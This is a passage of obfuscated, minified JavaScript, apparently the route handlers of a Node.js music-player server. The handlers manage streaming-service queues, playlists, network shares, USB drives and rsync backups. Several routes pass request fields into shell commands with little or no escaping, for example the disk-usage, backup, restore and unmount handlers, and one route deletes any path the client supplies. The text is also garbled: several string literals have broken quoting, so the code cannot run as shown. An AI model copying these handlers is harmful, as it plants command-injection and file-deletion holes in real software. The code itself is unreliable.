_0xac0cbc=_0x2db473,_0x52c5d0=_0x37821a[_0xac0cbc(0x29c)][_0xac0cbc(0x22a)],_0xaaa681=_0x37821a[_0xac0cbc(0x29c)][_0xac0cbc(0x3c6)]['toLowerCase'](),_0x37315e=_0x37821a['body'][_0xac0cbc(0x3ca)],_0x154ff7=_0x37821a[_0xac0cbc(0x29c)]['playindex'],_0x593502=_0x37821a[_0xac0cbc(0x29c)]['library'];_0x52c5d0['name'];if('local'===_0x593502)client[_0xac0cbc(0x2e4)]()[_0xac0cbc(0x4b4)](_0x52c5d0,_0xaaa681,_0x37315e,_0x154ff7,function(_0x205e66){var _0x17ac93=_0xac0cbc;respHandlers[_0x17ac93(0x4ce)](_0x205e66,_0x1808b1);});else{if(_0xac0cbc(0x5b0)===_0x593502){var _0x1c02aa=_0x52c5d0[_0xac0cbc(0x420)]||_0x52c5d0['id'];g_youtube_api['playlistItems'](_0x1c02aa,function(_0x21763b){var _0x192905=_0xac0cbc;_0x21763b['error']?respHandlers[_0x192905(0x1fe)](''+_0x21763b['error'],_0x1808b1,!0x0):(_0x21763b[_0x192905(0x319)][_0x192905(0x38f)](function(_0x3b2401){var _0x28edb9=_0x192905;_0x3b2401[_0x28edb9(0x400)][_0x28edb9(0x59a)][_0x28edb9(0x237)]&&fillYTVideoItem(_0x3b2401);}),_0x21763b['items']=_0x21763b[_0x192905(0x319)][_0x192905(0x507)](function(_0x562c3a){var _0x2b5eff=_0x192905;return _0x2b5eff(0x5bd)!=_0x562c3a[_0x2b5eff(0x248)];}),fillYTDurations(_0x21763b[_0x192905(0x319)],function(){var _0x4dc3ff=_0x192905;_0x52c5d0[_0x4dc3ff(0x313)]&&client[_0x4dc3ff(0x2e4)]()[_0x4dc3ff(0x4a4)](_0x52c5d0);var _0xa62639={'parent_item':_0x52c5d0,'songs':_0x21763b[_0x4dc3ff(0x319)]};client[_0x4dc3ff(0x2e4)]()[_0x4dc3ff(0x4b4)](_0xa62639,_0xaaa681,_0x37315e,_0x154ff7,function(_0x570877){var _0x1d3155=_0x4dc3ff;respHandlers[_0x1d3155(0x4ce)](_0x570877,_0x1808b1);});}));});}else{if(_0xac0cbc(0x220)===_0x593502)_0x1c02aa=_0x52c5d0[_0xac0cbc(0x267)]||_0x52c5d0[_0xac0cbc(0x420)]||_0x52c5d0['id'],_0xac0cbc(0x551)==(_0xaaa681=_0xaaa681)||_0xac0cbc(0x287)==_0xaaa681?_0xac0cbc(0x402)===_0x37315e?g_qobuz_api[_0xac0cbc(0x251)](_0xaaa681,{'id':_0x1c02aa},function(_0x532710){var _0x4d698a=_0xac0cbc;if(!_0x532710['error']){addAlbumTracksQobuz(_0x532710,_0x1c02aa,_0xaaa681);var _0x26cdef={'parent_item':_0x52c5d0,'songs':_0x532710[_0x4d698a(0x319)]};client[_0x4d698a(0x2e4)]()['addSongs'](_0x26cdef,_0xaaa681,_0x37315e,_0x154ff7,function(_0xcec158){var _0x239a6e=_0x4d698a;respHandlers[_0x239a6e(0x4ce)](_0xcec158,_0x1808b1);});}}):'addReplace'===_0x37315e?g_qobuz_api[_0xac0cbc(0x251)](_0xaaa681,{'id':_0x1c02aa},function(_0x5926d9){var _0x17bea8=_0xac0cbc;if(!_0x5926d9[_0x17bea8(0x388)]){addAlbumTracksQobuz(_0x5926d9,_0x1c02aa,_0xaaa681);var _0x2f7379={'parent_item':_0x52c5d0,'songs':_0x5926d9[_0x17bea8(0x319)]};client[_0x17bea8(0x2e4)]()[_0x17bea8(0x4b4)](_0x2f7379,_0xaaa681,_0x37315e,_0x154ff7,function(_0x5da854){var _0xd7efc1=_0x17bea8;respHandlers[_0xd7efc1(0x4ce)](_0x5da854,_0x1808b1);});}}):'addPlay'===_0x37315e?g_qobuz_api[_0xac0cbc(0x251)](_0xaaa681,{'id':_0x1c02aa},function(_0x54388b){var _0x203154=_0xac0cbc;if(!_0x54388b['error']){addAlbumTracksQobuz(_0x54388b,_0x1c02aa,_0xaaa681),_0x52c5d0['current_album']&&client[_0x203154(0x2e4)]()[_0x203154(0x4a4)](_0x52c5d0);var _0x31c96b={'parent_item':_0x52c5d0,'songs':_0x54388b[_0x203154(0x319)]};client['getPlayEngine']()[_0x203154(0x4b4)](_0x31c96b,_0xaaa681,_0x37315e,_0x154ff7,function(_0xadbd1d){var _0x56d318=_0x203154;respHandlers[_0x56d318(0x4ce)](_0xadbd1d,_0x1808b1);});}}):_0xac0cbc(0x3e1)===_0x37315e&&g_qobuz_api[_0xac0cbc(0x251)](_0xaaa681,{'id':_0x1c02aa},function(_0x19fef9){var _0x663a68=_0xac0cbc;if(!_0x19fef9[_0x663a68(0x388)]){addAlbumTracksQobuz(_0x19fef9,_0x1c02aa,_0xaaa681),_0x52c5d0[_0x663a68(0x313)]&&client['getPlayEngine']()['setCurrentAlbum'](_0x52c5d0);var _0x3fc18a={'parent_item':_0x52c5d0,'songs':_0x19fef9[_0x663a68(0x319)]};client[_0x663a68(0x2e4)]()[_0x663a68(0x4b4)](_0x3fc18a,_0xaaa681,_0x37315e,_0x154ff7,function(_0x453d33){var _0x402027=_0x663a68;respHandlers[_0x402027(0x4ce)](_0x453d33,_0x1808b1);});}}):respHandlers['handleSimpleResponse'](_0xac0cbc(0x364)+_0xaaa681+_0xac0cbc(0x278),_0x1808b1,!0x0);else'tidal'===_0x593502&&(_0x1c02aa=_0x52c5d0[_0xac0cbc(0x267)]||_0x52c5d0[_0xac0cbc(0x420)]||_0x52c5d0['id'],'album'==(_0xaaa681=_0xaaa681)||_0xac0cbc(0x287)==_0xaaa681?_0xac0cbc(0x402)===_0x37315e?g_tidal_api[_0xac0cbc(0x251)](_0xaaa681,{'id':_0x1c02aa},function(_0x3dfe13){var _0x4eae54=_0xac0cbc;if(!_0x3dfe13['error']){addAlbumTracksTidal(_0x3dfe13['items'],_0x1c02aa);var _0x2883b0={'parent_item':_0x52c5d0,'songs':_0x3dfe13[_0x4eae54(0x319)]};client[_0x4eae54(0x2e4)]()[_0x4eae54(0x4b4)](_0x2883b0,_0xaaa681,_0x37315e,_0x154ff7,function(_0x2cabf3){var _0x426d1a=_0x4eae54;respHandlers[_0x426d1a(0x4ce)](_0x2cabf3,_0x1808b1);});}}):_0xac0cbc(0x20a)===_0x37315e?g_tidal_api[_0xac0cbc(0x251)](_0xaaa681,{'id':_0x1c02aa},function(_0x468289){var _0x4d5886=_0xac0cbc;if(!_0x468289[_0x4d5886(0x388)]){addAlbumTracksTidal(_0x468289[_0x4d5886(0x319)],_0x1c02aa);var _0x4c5c87={'parent_item':_0x52c5d0,'songs':_0x468289[_0x4d5886(0x319)]};client[_0x4d5886(0x2e4)]()['addSongs'](_0x4c5c87,_0xaaa681,_0x37315e,_0x154ff7,function(_0x2d9ab4){var _0x53ba24=_0x4d5886;respHandlers[_0x53ba24(0x4ce)](_0x2d9ab4,_0x1808b1);});}}):_0xac0cbc(0x47f)===_0x37315e?g_tidal_api[_0xac0cbc(0x251)](_0xaaa681,{'id':_0x1c02aa},function(_0x2bba50){var _0x15eae3=_0xac0cbc;if(!_0x2bba50[_0x15eae3(0x388)]){addAlbumTracksTidal(_0x2bba50['items'],_0x1c02aa),_0x52c5d0[_0x15eae3(0x313)]&&client[_0x15eae3(0x2e4)]()[_0x15eae3(0x4a4)](_0x52c5d0);var _0x3f983d={'parent_item':_0x52c5d0,'songs':_0x2bba50[_0x15eae3(0x319)]};client[_0x15eae3(0x2e4)]()[_0x15eae3(0x4b4)](_0x3f983d,_0xaaa681,_0x37315e,_0x154ff7,function(_0x463137){var _0x1c961f=_0x15eae3;respHandlers[_0x1c961f(0x4ce)](_0x463137,_0x1808b1);});}}):_0xac0cbc(0x3e1)===_0x37315e&&g_tidal_api[_0xac0cbc(0x251)](_0xaaa681,{'id':_0x1c02aa},function(_0x1a0f25){var _0x798bb=_0xac0cbc;if(!_0x1a0f25[_0x798bb(0x388)]){addAlbumTracksTidal(_0x1a0f25[_0x798bb(0x319)],_0x1c02aa),_0x52c5d0[_0x798bb(0x313)]&&client['getPlayEngine']()['setCurrentAlbum'](_0x52c5d0);var _0x49ddad={'parent_item':_0x52c5d0,'songs':_0x1a0f25['items']};client[_0x798bb(0x2e4)]()[_0x798bb(0x4b4)](_0x49ddad,_0xaaa681,_0x37315e,_0x154ff7,function(_0x2697c3){var _0x804f76=_0x798bb;respHandlers[_0x804f76(0x4ce)](_0x2697c3,_0x1808b1);});}}):respHandlers[_0xac0cbc(0x1fe)](_0xac0cbc(0x364)+_0xaaa681+_0xac0cbc(0x278),_0x1808b1,!0x0));}}}},'/addFilteredSongs':{'post':function(_0x11f1e7,_0x53de7c){var _0x31f04f=_0x2db473,_0x585c26=_0x11f1e7[_0x31f04f(0x29c)][_0x31f04f(0x355)],_0x569d98=_0x11f1e7[_0x31f04f(0x29c)][_0x31f04f(0x372)];client[_0x31f04f(0x2e4)]()[_0x31f04f(0x4b4)](_0x585c26,_0x569d98,_0x31f04f(0x402),-0x1,function(_0x33c6b1){respHandlers['sendAsJson'](_0x33c6b1,_0x53de7c);});}},'/list':{'get':function(_0x59f9bb,_0x5d2cea){var _0x37c8c9=_0x2db473;if(client['getPlayEngine']()){var _0x3a36e5=client['getPlayEngine']()[_0x37c8c9(0x3b9)]();_0x3a36e5?respHandlers[_0x37c8c9(0x1fe)](_0x3a36e5,_0x5d2cea):respHandlers[_0x37c8c9(0x1fe)]([],_0x5d2cea);}else respHandlers[_0x37c8c9(0x1fe)]([],_0x5d2cea);}},'/currentAlbum':{'get':function(_0x4762d7,_0x5e4c39){var _0x42fd5b=_0x2db473;if(client['getPlayEngine']()){var _0x5261b6=client[_0x42fd5b(0x2e4)]()[_0x42fd5b(0x3ae)]();_0x5261b6?respHandlers[_0x42fd5b(0x1fe)](_0x5261b6,_0x5e4c39):respHandlers[_0x42fd5b(0x1fe)]('',_0x5e4c39);}else respHandlers[_0x42fd5b(0x1fe)]('',_0x5e4c39);}},'/addRadioStation':{'post':function(_0x7da556,_0x9c3532){var _0x41deb2=_0x2db473;addRadioStation(_0x9c3532,_0x7da556[_0x41deb2(0x29c)][_0x41deb2(0x2c3)],_0x7da556[_0x41deb2(0x29c)][_0x41deb2(0x439)]);}},'/manageStation':{'post':function(_0x5934da,_0x549477){var _0xe9d609=_0x2db473,_0x2fc2c6=_0x5934da[_0xe9d609(0x29c)][_0xe9d609(0x439)],_0x125f78=_0x5934da[_0xe9d609(0x29c)][_0xe9d609(0x3bc)];_0xe9d609(0x31a)==_0x125f78?delete g_webradio[_0x2fc2c6]:_0xe9d609(0x54c)==_0x125f78&&(g_webradio[_0x2fc2c6][_0xe9d609(0x2c3)]=_0x5934da[_0xe9d609(0x29c)]['name']),fs[_0xe9d609(0x3a2)](_0xe9d609(0x262),JSON[_0xe9d609(0x2e9)](g_webradio,null,'	')),respHandlers['handleSimpleResponse']('ok',_0x549477);}},'/savePlaylist':{'post':function(_0x3b0414,_0x5a4c20){var _0x45b8a0=_0x2db473;utils['log'](_0x3b0414[_0x45b8a0(0x29c)]);var _0x54366d=client['getPlayEngine']()['getQueue']();g_lib_engine[_0x45b8a0(0x1e4)](_0x54366d,_0x3b0414['body']['name'],function(_0x13b0d9){var _0x457080=_0x45b8a0;respHandlers[_0x457080(0x4ce)](_0x13b0d9,_0x5a4c20);});}},'/addItem2Playlist':{'post':function(_0x570726,_0x414deb){var _0x320464=_0x2db473;utils[_0x320464(0x45a)](_0x570726[_0x320464(0x29c)]);var _0x5c2d4d=_0x570726[_0x320464(0x29c)][_0x320464(0x22a)],_0x3d109c=_0x570726[_0x320464(0x29c)][_0x320464(0x287)],_0x4c62a4=_0x320464(0x290)+(_0x3d109c+=_0x320464(0x25c));fs[_0x320464(0x1e8)](_0x4c62a4,JSON['stringify'](_0x5c2d4d)+'
'),respHandlers[_0x320464(0x1fe)](_0x320464(0x443)+_0x3d109c,_0x414deb),client[_0x320464(0x345)]()[_0x320464(0x295)](_0x4c62a4,function(){});}},'/changePlaylistName':{'post':function(_0x3c82ca,_0x12883a){var _0x1b5772=_0x2db473;utils[_0x1b5772(0x45a)](_0x3c82ca[_0x1b5772(0x29c)]);var _0x51cb44='/data/Music/User-Playlists/'+_0x3c82ca[_0x1b5772(0x29c)][_0x1b5772(0x2fe)]+_0x1b5772(0x25c),_0x495ba4='/data/Music/User-Playlists/'+_0x3c82ca[_0x1b5772(0x29c)][_0x1b5772(0x5bf)]+_0x1b5772(0x25c);fs[_0x1b5772(0x4ed)](_0x51cb44)?(fs[_0x1b5772(0x556)](_0x51cb44,_0x495ba4),client[_0x1b5772(0x345)]()[_0x1b5772(0x295)](_0x495ba4,function(){}),g_lib_engine[_0x1b5772(0x28a)](_0x51cb44,function(_0x5425cd){})):fs['appendFileSync'](_0x495ba4,''),respHandlers[_0x1b5772(0x1fe)]('Playlist name changed',_0x12883a);}},'/deletePlaylist':{'post':function(_0xc15e88,_0x1d2811){var _0x1a6211=_0x2db473;utils['log'](_0xc15e88[_0x1a6211(0x29c)]),g_lib_engine[_0x1a6211(0x28a)](_0xc15e88[_0x1a6211(0x29c)]['name'],function(_0x16522c){respHandlers['sendAsJson'](_0x16522c,_0x1d2811);});}},'/deletePath':{'post':function(_0x50b83c,_0x902ec8){var _0x26052d=_0x2db473,_0x3e5691=_0x50b83c[_0x26052d(0x29c)][_0x26052d(0x445)];require('fs-extra')[_0x26052d(0x2db)](_0x3e5691),respHandlers['handleSimpleResponse']('Deleted',_0x902ec8),client[_0x26052d(0x345)]()[_0x26052d(0x437)](_0x3e5691);}},'/duPath':{'post':function(_0x5d5f8e,_0x5251c9){var _0x3d862e=_0x2db473,_0x1480ff=_0x5d5f8e[_0x3d862e(0x29c)][_0x3d862e(0x445)];shell['exec'](_0x3d862e(0x3ad)+_0x1480ff['replace'](/([`$])/g,_0x3d862e(0x4a9))+_0x3d862e(0x218),function(_0x173255,_0x4c09eb){var _0x3cc946=_0x3d862e,_0x502bd6=_0x4c09eb[_0x3cc946(0x303)]()['trim']();respHandlers[_0x3cc946(0x1fe)](_0x502bd6,_0x5251c9);});}},'/copyPath2ED':{'post':function(_0x3afa5f,_0x44d14b){var _0x42fca7=_0x2db473,_0x12ccf7=_0x3afa5f[_0x42fca7(0x29c)][_0x42fca7(0x445)];if(g_copy_in_progress)return g_pending_copy_paths[_0x42fca7(0x28c)](_0x12ccf7),void respHandlers[_0x42fca7(0x1fe)](_0x42fca7(0x4e0),_0x44d14b);copyToEuphonyDrive(_0x12ccf7,_0x3afa5f,_0x44d14b,!0x1);}},'/backupToShare':{'post':function(_0x4249e9,_0x582685){var _0x4ab6d2=_0x2db473,_0x5cd489=_0x4249e9[_0x4ab6d2(0x29c)]['sharename'];g_backup_in_progress?respHandlers[_0x4ab6d2(0x1fe)](_0x4ab6d2(0x572),_0x582685):shell[_0x4ab6d2(0x513)](_0x4ab6d2(0x3fc)+_0x5cd489+'/.EUPHONY-MUSIC-BACKUP' | grep data | grep -v EUPHONY-MUSIC-BACKUP | grep -v '/$' > /tmp/rsynclist.txt; cat /tmp/rsynclist.txt | while read file;do   du "/$file" 2> /dev/null; done | awk '{i+=$1} END {print i}'; df --output=avail '/data/'+_0x5cd489+_0x4ab6d2(0x1ee),function(_0x549720,_0x3fe8f8){var _0xe2328=_0x4ab6d2,_0x20b81e=_0x3fe8f8['toString']()[_0xe2328(0x5b5)]()[_0xe2328(0x4b9)](/\n/),_0x53e6e4=Number(_0x20b81e[0x0][_0xe2328(0x560)](0x0,-0x1)),_0x37d063=Number(_0x20b81e[0x1][_0xe2328(0x560)](0x0,-0x1));if(_0x53e6e4>_0x37d063){var _0x53818e=_0xe2328(0x5ad)+_0x37d063+_0xe2328(0x1e1)+_0x5cd489+_0xe2328(0x395)+_0x53e6e4+'K.';respHandlers[_0xe2328(0x1fe)](_0x53818e,_0x582685,!0x0);}else{respHandlers[_0xe2328(0x1fe)](_0xe2328(0x407),_0x582685);var _0xc57328=_0xe2328(0x488)+_0x5cd489+'/.EUPHONY-MUSIC-BACKUP' > /tmp/progress';utils[_0xe2328(0x45a)](_0xc57328),g_backup_in_progress=!0x0,client[_0xe2328(0x32b)](_0xe2328(0x23f),'1'),client[_0xe2328(0x2e0)](0x1,function(_0x3e1e10){var _0x51f5ab=_0xe2328;client[_0x51f5ab(0x32b)]('backup-progress',_0x3e1e10);}),shell[_0xe2328(0x513)](_0xc57328,function(_0x3f5bb1,_0xfe1540){var _0x5bfa9f=_0xe2328;g_backup_in_progress=!0x1,client[_0x5bfa9f(0x2da)](),utils[_0x5bfa9f(0x45a)](_0xfe1540[_0x5bfa9f(0x303)]()),client[_0x5bfa9f(0x32b)]('message',_0x5bfa9f(0x259));});}});}},'/restoreFromShare':{'post':function(_0x42cef3,_0x5942db){var _0x5145f4=_0x2db473,_0x2acec2=_0x42cef3[_0x5145f4(0x29c)][_0x5145f4(0x549)];g_backup_in_progress?respHandlers[_0x5145f4(0x1fe)](_0x5145f4(0x572),_0x5942db):shell[_0x5145f4(0x513)](_0x5145f4(0x4c5)+_0x2acec2+_0x5145f4(0x594)+_0x2acec2+'/.EUPHONY-MUSIC-BACKUP/$file" 2> /dev/null; done | awk '{i+=$1} END {print i}'; df --output=avail '/data' | tail -1',function(_0x25d7d5,_0x3cfa29){var _0x47ca48=_0x5145f4,_0x114e56=_0x3cfa29[_0x47ca48(0x303)]()['trim']()[_0x47ca48(0x4b9)](/\n/),_0x857127=0x0,_0x1b02ba=0x0;if(0x2==_0x114e56[_0x47ca48(0x5c4)]){if((_0x857127=Number(_0x114e56[0x0][_0x47ca48(0x560)](0x0,-0x1)))>(_0x1b02ba=Number(_0x114e56[0x1][_0x47ca48(0x560)](0x0,-0x1))))_0x1ba99b=_0x47ca48(0x5ad)+_0x1b02ba+_0x47ca48(0x432)+_0x857127+'K.',respHandlers[_0x47ca48(0x1fe)](_0x1ba99b,_0x5942db,!0x0);else{respHandlers[_0x47ca48(0x1fe)](_0x47ca48(0x4cc),_0x5942db);var _0xbe182='rsync -rltxxz --info=progress2 '/data/'+_0x2acec2+_0x47ca48(0x570);utils['log'](_0xbe182),g_backup_in_progress=!0x0,client[_0x47ca48(0x32b)](_0x47ca48(0x27e),'1'),client[_0x47ca48(0x2e0)](0x1,function(_0x238fb8){var _0xb6f867=_0x47ca48;client[_0xb6f867(0x32b)](_0xb6f867(0x27e),_0x238fb8);}),shell[_0x47ca48(0x513)](_0xbe182,function(_0x4a842e,_0x142e87){var _0x59c6dc=_0x47ca48;g_backup_in_progress=!0x1,client['reportProgressStop'](),utils[_0x59c6dc(0x45a)](_0x142e87[_0x59c6dc(0x303)]()),client['emitMessage']('message',_0x59c6dc(0x331));});}}else{var _0x1ba99b=_0x47ca48(0x2b4);respHandlers['handleSimpleResponse'](_0x1ba99b,_0x5942db,!0x0);}});}},'/addLink':{'post':function(_0x19041c,_0x27f767){var _0x2a4941=_0x2db473,_0xc4d130,_0x170414=_0x19041c[_0x2a4941(0x29c)];return findInArray(config['shareconf'],'name',_0x170414['name'])?(_0xc4d130=_0x2a4941(0x1f1)+_0x170414[_0x2a4941(0x2c3)]+' already exists.',void respHandlers[_0x2a4941(0x1fe)](_0xc4d130,_0x27f767)):_0x170414[_0x2a4941(0x2c3)]&&_0x170414[_0x2a4941(0x44d)]&&(_0x2a4941(0x4c3)===_0x170414['type']||_0x170414[_0x2a4941(0x273)])?void shell[_0x2a4941(0x513)](_0x2a4941(0x31e),function(_0x363350,_0x58875f){var _0x587b36=_0x2a4941,_0x506147=_0x58875f[_0x587b36(0x303)]()['trim']()[_0x587b36(0x4b9)](/\n/);utils[_0x587b36(0x45a)](_0x506147);for(var _0x33a42c=0x0;_0x33a42c<_0x506147[_0x587b36(0x5c4)];_0x33a42c++){var _0x49b994=_0x506147[_0x33a42c][_0x587b36(0x5b5)]();if(_0x49b994=_0x49b994['trim']()){utils[_0x587b36(0x45a)](_0x587b36(0x22e)+_0x49b994);var _0x27f357=_0x49b994[_0x587b36(0x31d)](),_0x3b835f=_0x27f357[_0x587b36(0x44a)]('[');-0x1!=_0x3b835f&&(_0x27f357=_0x27f357['substring'](0x0,_0x3b835f)[_0x587b36(0x5b5)]()),utils['log']('ex:'+_0x27f357);var _0x30fb29=('//'+_0x170414[_0x587b36(0x44d)]+'/'+_0x170414['dir'])[_0x587b36(0x31d)]();_0x170414[_0x587b36(0x44d)]['indexOf']('//')==0x0&&(_0x30fb29=(_0x170414['server']+'/'+_0x170414[_0x587b36(0x273)])['toLowerCase']()),utils[_0x587b36(0x45a)](_0x587b36(0x5c9)+_0x30fb29),_0x27f357==_0x30fb29?_0xc4d130=_0x587b36(0x20d)+_0x27f357+_0x587b36(0x393):_0x30fb29[_0x587b36(0x45d)](_0x27f357)?_0xc4d130=_0x587b36(0x351)+_0x30fb29+_0x587b36(0x34b)+_0x27f357+_0x587b36(0x5b8):_0x27f357[_0x587b36(0x45d)](_0x30fb29)&&(_0xc4d130=_0x587b36(0x5ae)+_0x27f357+_0x587b36(0x527)+_0x30fb29+_0x587b36(0x5b8));}}_0xc4d130?respHandlers[_0x587b36(0x1fe)](_0xc4d130,_0x27f767):mpdUtils[_0x587b36(0x1ed)](_0x170414,function(_0x7b646b){var _0x3501f1=_0x587b36;_0x7b646b?(utils[_0x3501f1(0x45a)](_0x7b646b),respHandlers[_0x3501f1(0x1fe)](_0x7b646b,_0x27f767)):shell[_0x3501f1(0x513)]('findmnt -D --output=target,source | grep '/data/'+_0x170414['name']+' '',function(_0x20946d,_0x2e1671){var _0x3f7f92=_0x3501f1;(_0x7b646b=_0x2e1671[_0x3f7f92(0x303)]()[_0x3f7f92(0x5b5)]())?(_0x7b646b='Success! Share: '+_0x170414[_0x3f7f92(0x2c3)]+_0x3f7f92(0x243),config[_0x3f7f92(0x221)][_0x3f7f92(0x28c)](_0x170414),utils[_0x3f7f92(0x45a)](_0x3f7f92(0x461)+_0x170414),fs['writeFileSync'](_0x3f7f92(0x580),JSON['stringify'](config,null,'	'))):_0x7b646b=_0x3f7f92(0x519),respHandlers[_0x3f7f92(0x1fe)](_0x7b646b,_0x27f767);});});}):(_0xc4d130=_0x2a4941(0x35e),void respHandlers[_0x2a4941(0x1fe)](_0xc4d130,_0x27f767));}},'/removeLink':{'post':function(_0x2a2d15,_0x323fd1){var _0x142087=_0x2db473,_0x3630ac;utils[_0x142087(0x45a)]('removeLink: '+_0x2a2d15['body']);var _0xe80ac3=_0x2a2d15[_0x142087(0x29c)][_0x142087(0x2c3)],_0x1d2205=_0x2a2d15[_0x142087(0x29c)]['del'],_0x5e50f6=findInArray(config[_0x142087(0x221)],_0x142087(0x2c3),_0xe80ac3);if(!_0x5e50f6)return _0x3630ac=_0x142087(0x1f1)+_0xe80ac3+' doesn't exists.',void respHandlers[_0x142087(0x1fe)](_0x3630ac,_0x323fd1,!0x0);var _0x2f2a61=_0x142087(0x462),_0xe344fc=_0x142087(0x56e)+_0xe80ac3;if(client['itemInLibraryDisappeared'](_0x5e50f6),_0x1d2205){_0x2f2a61=_0x142087(0x538);var _0x8a07e2=findIndexInArray(config[_0x142087(0x221)],'name',_0xe80ac3);_0x8a07e2>-0x1&&config[_0x142087(0x221)][_0x142087(0x451)](_0x8a07e2,0x1),fs[_0x142087(0x3a2)]('./config.json',JSON[_0x142087(0x2e9)](config,null,'	'));}shell[_0x142087(0x513)](_0x142087(0x2bb)+_0xe344fc+'"',function(_0x12b55b,_0x3a7807){var _0x16ca2b=_0x142087;(_0x3630ac=_0x3a7807[_0x16ca2b(0x303)]()[_0x16ca2b(0x5b5)]())||(shell['exec'](_0x16ca2b(0x28e)+_0xe344fc+'"',{'async':!0x0}),_0x3630ac=_0x16ca2b(0x34f)+_0xe80ac3+_0x16ca2b(0x212)+_0x2f2a61+'!'),_0x3630ac&&_0x3630ac[_0x16ca2b(0x597)](_0x16ca2b(0x482))&&(_0x3630ac=_0x16ca2b(0x34f)+_0xe80ac3+_0x16ca2b(0x212)+_0x2f2a61+'!'),utils[_0x16ca2b(0x45a)](_0x3630ac),respHandlers[_0x16ca2b(0x1fe)](_0x3630ac,_0x323fd1);});}},'/unmountUSB':{'post':function(_0xb61276,_0x549e78){var _0x5aced2=_0x2db473,_0x24cef6,_0x1903bc=_0xb61276[_0x5aced2(0x29c)][_0x5aced2(0x342)];shell[_0x5aced2(0x513)](_0x5aced2(0x2bb)+_0x1903bc+'"',function(_0x4b762c,_0x2e8cc4){var _0x331fb2=_0x5aced2;(_0x24cef6=_0x2e8cc4['toString']()[_0x331fb2(0x5b5)]())||(shell['exec']('rmdir "'+_0x1903bc+'"',{'async':!0x0}),_0x24cef6=_0x331fb2(0x316)+_0x1903bc+' is unmounted. It can be safely removed now.'),utils[_0x331fb2(0x45a)](_0x24cef6),respHandlers[_0x331fb2(0x1fe)](_0x24cef6,_0x549e78);});}},'/remount':{'post':function(_0x43b549,_0x1d885c){var _0x4d3dfd=_0x2db473;utils[_0x4d3dfd(0x45a)](_0x43b549[_0x4d3dfd(0x29c)]);var _0x128518=_0x43b549['body'][_0x4d3dfd(0x2c3)],_0x5ca019=findInArray(config[_0x4d3dfd(0x221)],_0x4d3dfd(0x2c3),_0x128518);if(!_0x5ca019)return result=_0x4d3dfd(0x1f1)+_0x128518+_0x4d3dfd(0x399),void respHandlers[_0x4d3dfd(0x1fe)](result,_0x1d885c);mpdUtils['mount'](_0x5ca019,function(_0x57378c){var _0xac45c=_0x4d3dfd;_0x57378c||(_0x57378c=_0xac45c(0x34f)+_0x128518+_0xac45c(0x2f9)),utils[_0xac45c(0x45a)](_0x57378c),client[_0xac45c(0x41b)](_0x5ca019,0x0),respHandlers[_0xac45c(0x1fe)](_0x57378c,_0x1d885c);});}},'/removeFromLibrary':{'post':function(_0x34b650,_0x1afd66){var _0xceb523=_0x2db473;utils['log'](_0x34b650[_0xceb523(0x29c)]);var _0x4c3923=_0x34b650['body'][_0xceb523(0x445)],_0x2839bf=_0x34b650[_0xceb523(0x29c)][_0xceb523(0x2c3)],_0x11e82d=config['library_paths'][_0xceb523(0x2a8)](function(_0x29e3e9){return _0x29e3e9['path']==_0x4c3923;});if(_0x11e82d>-0x1){config[_0xceb523(0x22f)][_0xceb523(0x451)](_0x11e82d,0x1);var _0x25a6ac=findInArray(config[_0xceb523(0x221)],_0xceb523(0x2c3),_0x2839bf);_0x25a6ac&&(_0x25a6ac[_0xceb523(0x412)]=!0x1),client[_0xceb523(0x345)]()['invalidatePath'](_0x4c3923),fs['writeFileSync'](_0xceb523(0x580),JSON['stringify'](config,null,'	')),respHandlers[_0xceb523(0x1fe)](_0xceb523(0x434)+_0x4c3923+'" removed from Music Library.',_0x1afd66);}else respHandlers[_0xceb523(0x1fe)]('Path not found!',_0x1afd66);}},'/toggleLibraryShare':{'post':function(_0x13f329,_0x529c08){var _0x3a1a64=_0x2db473,_0x221636;utils[_0x3a1a64(0x45a)](_0x13f329[_0x3a1a64(0x29c)]);var _0x2a3978,_0x185de3=_0x13f329[_0x3a1a64(0x29c)]['name'];if(!(_0x2a3978=findInArray(config[_0x3a1a64(0x221)],_0x3a1a64(0x2c3),_0x185de3)))return _0x221636='Error! Name: '+_0x185de3+_0x3a1a64(0x399),void respHandlers['handleSimpleResponse'](_0x221636,_0x529c08);var _0x50770b=!!_0x2a3978[_0x3a1a64(0x412)],_0x379683=_0x50770b?_0x3a1a64(0x484):' added to Music Library',_0xc7d9c8='/data/'+_0x2a3978[_0x3a1a64(0x2c3)];if(_0x50770b){var _0x38642b=findIndexInArray(config[_0x3a1a64(0x22f)],_0x3a1a64(0x445),_0xc7d9c8);if(!(_0x38642b>-0x1))return void respHandlers['handleSimpleResponse']('Path not found!',_0x529c08);config[_0x3a1a64(0x22f)][_0x3a1a64(0x451)](_0x38642b,0x1);}else{var _0x4aa8b8={};_0x4aa8b8[_0x3a1a64(0x445)]=_0x3a1a64(0x56e)+_0x2a3978[_0x3a1a64(0x2c3)],_0x4aa8b8[_0x3a1a64(0x2c3)]=_0x2a3978[_0x3a1a64(0x2c3)],_0x4aa8b8[_0x3a1a64(0x5a7)]=0x1,config['library_paths'][_0x3a1a64(0x28c)](_0x4aa8b8);}_0x2a3978[_0x3a1a64(0x412)]=!_0x2a3978[_0x3a1a64(0x412)],_0x2a3978[_0x3a1a64(0x412)]?client[_0x3a1a64(0x2ce)](_0xc7d9c8):client['getDBMgmt']()[_0x3a1a64(0x437)](_0xc7d9c8),fs[_0x3a1a64(0x3a2)]('./config.json',JSON[_0x3a1a64(0x2e9)](config,null,'	')),respHandlers[_0x3a1a64(0x1fe)]('Success! Drive: "'+_0x185de3+'"'+_0x379683,_0x529c08);}},'/toggleLibraryDisk':{'post':function(_0x1a0a52,_0x1815fd){var _0x7c31db=_0x2db473;utils['log'](_0x1a0a52[_0x7c31db(0x29c)]);var _0x8819cd=_0x1a0a52[_0x7c31db(0x29c)][_0x7c31db(0x2c5)],_0x1e864e=_0x1a0a52['body']['label'];'Music'==_0x1e864e&&(_0x1e864e='MUSIC');var _0x3dfa41,_0x643efd=_0x1a0a52[_0x7c31db(0x29c)][_0x7c31db(0x333)],_0x1ed8b8=_0x1a0a52[_0x7c31db(0x29c)][_0x7c31db(0x4af)];if(_0x1ed8b8&&(_0x3dfa41=findInArray(config[_0x7c31db(0x37d)],'uuid',_0x1ed8b8)),_0x3dfa41||(_0x3dfa41=findInArray(config[_0x7c31db(0x37d)],_0x7c31db(0x2c3),_0x1e864e)),!_0x3dfa41){if(!(_0x1e864e&&_0x7c31db(0x34c)!==_0x1e864e||_0x1ed8b8&&_0x7c31db(0x34c)!==_0x1ed8b8))return void respHandlers[_0x7c31db(0x1fe)]('This drive cannot be uniquely identifed - it does not have UUID or Volume Label. Please create a Volume Label 